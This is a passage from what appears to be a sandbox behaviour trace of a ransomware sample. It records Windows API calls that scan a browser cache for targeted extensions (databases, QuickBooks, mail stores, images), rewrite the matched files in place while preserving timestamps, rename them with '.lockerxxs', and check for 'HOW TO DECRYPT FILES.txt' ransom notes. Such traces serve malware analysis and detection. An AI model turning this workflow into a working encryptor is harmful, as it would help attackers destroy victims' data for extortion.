lstrlenA (lpString="*.ems") returned 5 [0083.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.db") returned 0 [0083.924] lstrlenA (lpString="*.db") returned 4 [0083.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.dbf") returned 0 [0083.924] lstrlenA (lpString="*.dbf") returned 5 [0083.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.myox") returned 0 [0083.924] lstrlenA (lpString="*.myox") returned 6 [0083.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.myo") returned 0 [0083.924] lstrlenA (lpString="*.myo") returned 5 [0083.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.qbw") returned 0 [0083.924] lstrlenA (lpString="*.qbw") returned 5 [0083.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.qbb") returned 0 [0083.924] lstrlenA (lpString="*.qbb") returned 5 [0083.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.qbm") returned 0 [0083.924] lstrlenA (lpString="*.qbm") returned 5 [0083.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.qbo") returned 0 [0083.924] lstrlenA (lpString="*.qbo") returned 5 [0083.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.qbx") returned 0 [0083.924] lstrlenA (lpString="*.qbx") returned 5 [0083.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.qba") returned 0 [0083.925] lstrlenA (lpString="*.qba") returned 5 [0083.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.qby") returned 0 [0083.925] lstrlenA (lpString="*.qby") returned 5 [0083.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.qbj") returned 0 [0083.925] lstrlenA (lpString="*.qbj") returned 5 [0083.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.ofx") returned 0 [0083.925] lstrlenA (lpString="*.ofx") returned 5 [0083.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.qif") returned 0 [0083.925] lstrlenA (lpString="*.qif") returned 5 [0083.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.mye") returned 0 [0083.925] lstrlenA (lpString="*.mye") returned 5 [0083.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.mbox") returned 0 [0083.925] lstrlenA (lpString="*.mbox") returned 6 [0083.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.eml") returned 0 [0083.925] lstrlenA (lpString="*.eml") returned 5 [0083.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.pst") returned 0 [0083.925] lstrlenA (lpString="*.pst") returned 5 [0083.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.ost") returned 0 [0083.925] lstrlenA (lpString="*.ost") returned 5 [0083.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.idx") returned 0 [0083.926] lstrlenA (lpString="*.idx") returned 5 [0083.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.dbx") returned 0 [0083.926] lstrlenA (lpString="*.dbx") returned 5 [0083.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.sql") returned 0 [0083.926] lstrlenA (lpString="*.sql") returned 5 [0083.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.mdb") returned 0 [0083.926] lstrlenA (lpString="*.mdb") returned 5 [0083.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.fdb") returned 0 [0083.926] lstrlenA (lpString="*.fdb") returned 5 [0083.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.wab") returned 0 [0083.926] lstrlenA (lpString="*.wab") returned 5 [0083.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.dat") returned 0 [0083.926] lstrlenA (lpString="*.dat") returned 5 [0083.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.txt") returned 0 [0083.926] lstrlenA (lpString="*.txt") returned 5 [0083.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.jpeg") returned 0 [0083.926] lstrlenA (lpString="*.jpeg") returned 6 [0083.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.jpg") returned 1 [0083.926] lstrlenA (lpString="*.jpg") returned 5 [0083.926] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" [0083.926] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" [0083.926] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg." [0083.926] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg.lockerxxs" [0083.926] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.927] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7b8 [0083.927] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5159c2b0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5159c2b0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5159c2b0, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.927] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.927] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x792, lpOverlapped=0x0) returned 1 [0083.929] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg") returned="AAlG41q[1].jpg" [0083.929] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.929] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x792, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x792, lpOverlapped=0x0) returned 1 [0083.929] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.929] CloseHandle (hObject=0xa4) returned 1 [0083.929] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg.lockerxxs")) returned 1 [0083.930] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45798350, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45798350, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45798350, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAmin0Z[1].png", cAlternateFileName="AAMIN0~1.PNG")) returned 1 [0083.930] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.930] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAmin0Z[1].png") returned 1 [0083.930] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAmin0Z[1].png") returned 1 [0083.930] lstrcmpiA (lpString1="", lpString2="AAmin0Z[1].png") returned -1 [0083.930] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg") returned="AAlG41q[1].jpg" [0083.930] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.930] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.930] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.930] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.931] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="AAmin0Z[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.ems") returned 0 [0083.931] lstrlenA (lpString="*.ems") returned 5 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.db") returned 0 [0083.931] lstrlenA (lpString="*.db") returned 4 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.dbf") returned 0 [0083.931] lstrlenA (lpString="*.dbf") returned 5 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.myox") returned 0 [0083.931] lstrlenA (lpString="*.myox") returned 6 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.myo") returned 0 [0083.931] lstrlenA (lpString="*.myo") returned 5 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.qbw") returned 0 [0083.931] lstrlenA (lpString="*.qbw") returned 5 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.qbb") returned 0 [0083.931] lstrlenA (lpString="*.qbb") returned 5 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.qbm") returned 0 [0083.931] lstrlenA (lpString="*.qbm") returned 5 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.qbo") returned 0 [0083.931] lstrlenA (lpString="*.qbo") returned 5 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.qbx") returned 0 [0083.931] lstrlenA (lpString="*.qbx") returned 5 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.qba") returned 0 [0083.931] lstrlenA (lpString="*.qba") returned 5 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.qby") returned 0 [0083.931] lstrlenA (lpString="*.qby") returned 5 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.qbj") returned 0 [0083.931] lstrlenA (lpString="*.qbj") returned 5 [0083.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.ofx") returned 0 [0083.932] lstrlenA (lpString="*.ofx") returned 5 [0083.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.qif") returned 0 [0083.932] lstrlenA (lpString="*.qif") returned 5 [0083.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.mye") returned 0 [0083.932] lstrlenA (lpString="*.mye") returned 5 [0083.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.mbox") returned 0 [0083.932] lstrlenA (lpString="*.mbox") returned 6 [0083.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.eml") returned 0 [0083.932] lstrlenA (lpString="*.eml") returned 5 [0083.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.pst") returned 0 [0083.932] lstrlenA (lpString="*.pst") returned 5 [0083.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.ost") returned 0 [0083.932] lstrlenA (lpString="*.ost") returned 5 [0083.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.idx") returned 0 [0083.932] lstrlenA (lpString="*.idx") returned 5 [0083.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.dbx") returned 0 [0083.932] lstrlenA (lpString="*.dbx") returned 5 [0083.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.sql") returned 0 [0083.933] lstrlenA (lpString="*.sql") returned 5 [0083.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.mdb") returned 0 [0083.933] lstrlenA (lpString="*.mdb") returned 5 [0083.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.fdb") returned 0 [0083.933] lstrlenA (lpString="*.fdb") returned 5 [0083.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.wab") returned 0 [0083.933] lstrlenA (lpString="*.wab") returned 5 [0083.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.dat") returned 0 [0083.933] lstrlenA (lpString="*.dat") returned 5 [0083.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.txt") returned 0 [0083.933] lstrlenA (lpString="*.txt") returned 5 [0083.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.jpeg") returned 0 [0083.933] lstrlenA (lpString="*.jpeg") returned 6 [0083.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.jpg") returned 0 [0083.933] lstrlenA (lpString="*.jpg") returned 5 [0083.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", pszSpec="*.png") returned 1 [0083.933] lstrlenA (lpString="*.png") returned 5 [0083.934] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png") 